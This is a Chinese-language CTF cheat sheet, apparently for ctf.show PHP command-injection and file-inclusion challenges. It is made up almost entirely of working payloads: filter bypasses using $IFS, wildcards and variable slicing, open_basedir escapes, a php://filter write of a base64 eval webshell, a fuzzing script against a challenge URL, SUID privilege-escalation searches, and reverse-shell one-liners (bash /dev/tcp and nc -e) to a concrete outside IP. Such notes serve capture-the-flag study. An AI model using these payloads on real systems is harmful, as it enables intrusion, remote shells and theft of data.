系统命令执行函数：exec,shell_exec,system,passthru,``

exec,shell_exec不直接显示，system,passthru直接显示，``等同于shell_exec

命令	说明
cat	直接输出文件内容
tac	反向输出文件内容
nl	输出内容并显示行号
head	显示文件头几行
tail	显示文件尾几行
less	分页查看文件内容
more	分屏查看文件内容
rev	反转字符串或反转每一行内容

说明	命令
文本处理，可用来显示文件选定部分	**sed**
文本提取与格式化	**awk**
搜索并输出匹配行	**grep**
显示二进制文件中的可打印字符串	**strings**
以十六进制方式查看内容	**xxd**
对文件进行 base64 编码输出	**base64**

fuzz白名单脚本：

```
import requests
import string
import urllib3

# 禁用 SSL 警告
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

url = "https://46da7062-1fbd-4405-a712-dc0944660da2.challenge.ctf.show/"

list = string.ascii_letters+string.digits+"$+-}{_><:?*.~/\\ "

white_list = ""

for payload in list:
    data = {
        "code": payload
```

```
    }

    # 添加 verify=False 跳过 SSL 验证
    res = requests.post(url, data=data, verify=False)

    if "evil input" not in res.text:
        print(payload, end=" ")
        white_list += payload

print()
print(white_list.replace(" ","空格"))
```

绕过：

可以用";"分割命令

空格绕过：${IFS},$IFS$9,%09,<>,<,%20,{cat,fl*},+

如果过滤中有%，对%09是不影响的

无回显绕过：>，tee，>>

定义变量绕过：如ip=;a=g;tac fla$a.php

关键字绕过：",*,?,""

''(单引号)隔开，如fla''g

括号绕过：``

分号绕过：?>

标签绕过：<?= ?>

环境变量绕过：在Linux下环境变量`PATH`一般是`/bin`，题目路径`PWD`是`/var/www/html`

查看echo $SHLVL,$PWD,$USER,$PATH,$HOME

用下面得到的字母组成命令，例：${PATH:~A}${PWD:~A} 为nl

$PWD和${PWD}	表示当前所在的目录 /var/www/html
${#PWD}	13 前面加个#表示当前目录字符串长度
${PWD:3}	r/www/html 代表从第几位开始截取到后面的所有字符（从零开始）
${PWD::1}	等价${PWD:0:1}
${PWD:~3}	html 代表从最后面开始向前截取几位（从零开始）
${PWD:3:1}	r
${PWD:~3:1}	h
${PWD:~A}	l 这里的A其实就是表示1
${USER}	www-data
${#SHLVL},${SHLVL:~A}	1
${SHLVL}	2 输出shell的层数，实际为准
${#IFS}	4
${PWD:${#}:${##}}	/
${#}	0
${#RANDOM}	${RANDOM}生成0~32767整数,因此${#RANDOM}生成0~5整数，多试几次
$?	上一条命令返回值

```
$PWD和${PWD}     表示当前所在的目录      /var/www/html
${#PWD}          13        前面加个#表示当前目录字符串长度
${PWD:3}         r/www/html   代表从第几位开始截取到后面的所有字符（从零开始）
${PWD:~3}        html      代表从最后面开始向前截取几位（从零开始）
${PWD:3:1}       r
${PWD:~3:1}      h
${PWD:~A}        l    这里的A其实就是表示1
${SHLVL:~A}      1    代表数字1
```

数字绕过： $(())=0　$((~ $(())))=-1　　//$((~ $(())))$((~ $(()))) 等同 -1-1 = -2

```
print('$((~$((',end='')
for i in range(37):      #要取反负多少就写多少，这里取反-37,整个程序输出后代表36
•    print('$((~$(()))))',end='')
print('))))')                #输出后的字符串可以echo测试看看是不是想要的
```

open_basedir绕过：

```php
$a = opendir("glob:///*"); // 打开根目录，并将目录句柄赋值给$a
while (($file = readdir($a)) !== false) { // 循环读取目录中的每个条目
    echo $file . "<br>"; // 输出每个条目的名称，并添加HTML换行标签
};
```

```php
<?php $f=new DirectoryIterator("glob:///*");
foreach($f as $a)
{
    echo($a->__toString().'');
}
exit();?>
```

```php
$a=new PDO("mysql:localhost;dbname=information_schema","root","root");    // 使用PDO（PHP Data Objects）创建一个新的数据库连接对象，指定DSN、用户名（root）和密码（root）
foreach($a->query('select load_file("/flag36.txt")') as $f) //query执行SQL语句，返回结果集
{
    echo $f[0];
}
exit();
```

```php
$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$ffi->system("cat flag");//通过$ffi去调用system函数
```

缓冲区绕过：exit　　下面都会清空缓冲区的内容，我们只需要在清空前退出即可

函数名	作用（简洁描述）
ob_clean()	清空缓冲区内容，但不关闭缓冲区。
ob_end_clean()	清空缓冲区内容，并关闭缓冲区。
ob_get_clean()	获取缓冲区内容，然后清空并关闭缓冲区。
ob_flush()	将缓冲区内容发送到浏览器（输出），然后清空缓冲区但不关闭。
ob_end_flush()	输出缓冲区内容到浏览器并关闭缓冲区。

无字母绕过：?,~,|,&,^

~,|,&,^只在eval函数能被解析为php运算符进行绕过

/???/???/????64 ????.??? 可以为 /usr/bin/base64 flag.php

/???/????64 ????.??? 可以为 /bin/base64 flag.php

/???/???/????2 ????.??? 可以为 /usr/bin/bzip2 flag.php

压缩后得到.bz2文件在当前目录为flag.php.bz2访问直接下载，打开查看内容

命令调用：　　//一般在/usr/bin和/bin

/usr/bin/base64	/bin/base64	/usr/bin/bzip2
/usr/bin/cat	/usr/bin/tac	
/usr/bin/tar	/usr/bin/rev	

无参绕过： 打印函数：print_r,var_dump,var_export,echo

print_r只能打印数组 echo(scandir("/")[6])输出指定索引文件

echo implode(',', scandir('/'))输出以”,“分割的根目录文件名

获取目录：scandir scandir(getcwd())扫描当前目录文件

getcwd返回当前目录路径

```
scandir指定目录，返回数组
//一般从第三个开始是文件，无论scandir那个目录前两个元素一定是‘.’和‘..’，类似
Array(
    [0] => .
    [1] => ..
    [2] => index.php
    [3] => flag.php
)
```

获取点号：pos(localeconv()) 等价"."

scandir(pos(localeconv()))扫描当前目录

scandir(pos(localeconv()).pos(localeconv()))扫描父目录 字符串拼接"." . "." = ".."

分割符：DIRECTORY_SEPARATOR

scandir(DIRECTORY_SEPARATOR) 扫描根目录 "/" . "." = "/."

数组操作	说明
pos	返回数组中的当前元素的值
current	返回数组中的当前元素的值
end	将内部指针指向数组中的最后一个元素，并输出
next	将内部指针指向数组中的下一个元素，并输出
prev	将内部指针指向数组中的上一个元素，并输出
reset	将内部指针指向数组中的第一个元素，并输出
array_reverse	翻转数组，例如 `[1,2,3,4] ⇒ [4,3,2,1]`
get_defined_vars	返回由所有已定义变量所组成的数组
implode	将数组元素连接成一个字符串，echo implode(分隔符, 数组)

编码绕过：base64_decode

create_function绕过：

```
create_function在底层执行了类似eval的命令，语法：create_function(string $args, string $code)
args为参数，code为内部代码
function __lambda_func($args) {
    // $code
}
这只是创造而已，但我们传入b的值，会让代码变成
function __lambda_func($args) {
    }system('cat /flag');/*
}
直接逃逸到了外面，执行了命令
```

chr绕过

```
chr //将ascii码转为字符，可以结合.绕过
例：var_dump(scandir(chr(47)))：扫描根目录并输出所以文件名
```

文件包含漏洞：

文件包含函数：include,require,include_once,require_once

```
语法：include "filename";或include("filename");
关键字绕过：include‘/f’.'lag';
后缀绕过：如过滤.php：include'flag.php/'

可以include$_GET['pass'];或include$_GET[a];制造文件包含漏洞，再php伪协议读取文件

include$_GET[a];等价于include$_GET[‘a’];
```

文件读取函数：

`readfile`	`readgzfile`	`file_get_contents`	`file`
`show_source`	`highlight_file`	`include`	`require`
`include_once`	`require_once`		

include,require,include_once,require_once只能输出非php文件

文件操作：fopen,fread

临时文件包含：

文件名： Choose File No file chosen
提交

随便上传一个文件在文件上传的过程抓包，把文件改成shell脚本，再同时去运行这个脚本，脚本在临时文件的地方(/tmp/php加6个随机的小写字母或者数字），如/???/????????[@-]] 为/tmp/php??????，[@-]]是为了只匹配临时文件名最后一个字母为大写字母的

文件要有可执行权限和有shebang(如/bin/sh)才能被系统命令执行函数执行(最好是.sh文件)

```
#!/bin/sh
cat flag.php
```

php伪协议：

php://filter/read=convert.base64-encode/resource=index.php

php://filter/write=convert.base64-decode/resource=shell.php //很多时候写入文件的时可以利用php://filter写入php语句

```
例： $v3="php://filter/write=convert.base64-decode/resource=shell.php";
    $str="PD9waHAgZXZhbCgkX0dFVFsncGFzcyddOz8+"//<?php eval($_GET['pass'];?>
    file_put_contents($v3,$str);//将一句话木马写入shell.php
```

data://text/plain,<?php phpinfo();?>

data://text/base64,PD9waHAgcGhwaW5mbygpOz8+ <?php phpinfo();?>

php://input(将post请求的数据当作php代码执行)

glob:// glob://<路径/通配符表达式> 无视open_basedir

反弹SHELL

```
bash -i >&  /dev/tcp/101.37.210.236/2333 0>&1
nc 101.37.210.236 2333 -e /bin/b
```

SUID提权：

查找SUID文件： find / -perm -u=s -type f 2>/dev/null

find / -perm -4000 -type f 2>/dev/null

find命令执行： find anyfile -exec <command> \;

屏蔽语句：

||：前面命令能执行，后面就不会执行了

%0a：换行符，将命令分开各执行各的

类执行命令：

`Exception`：所有异常的基类

`CachingIterator`：此对象支持在另一个迭代器上进行缓存迭代

`ReflectionClass`:反射类

echo new Exception(system('ls'))
echo new ReflectionClass(system('ls'))
echo new CachingIterator(system('ls'))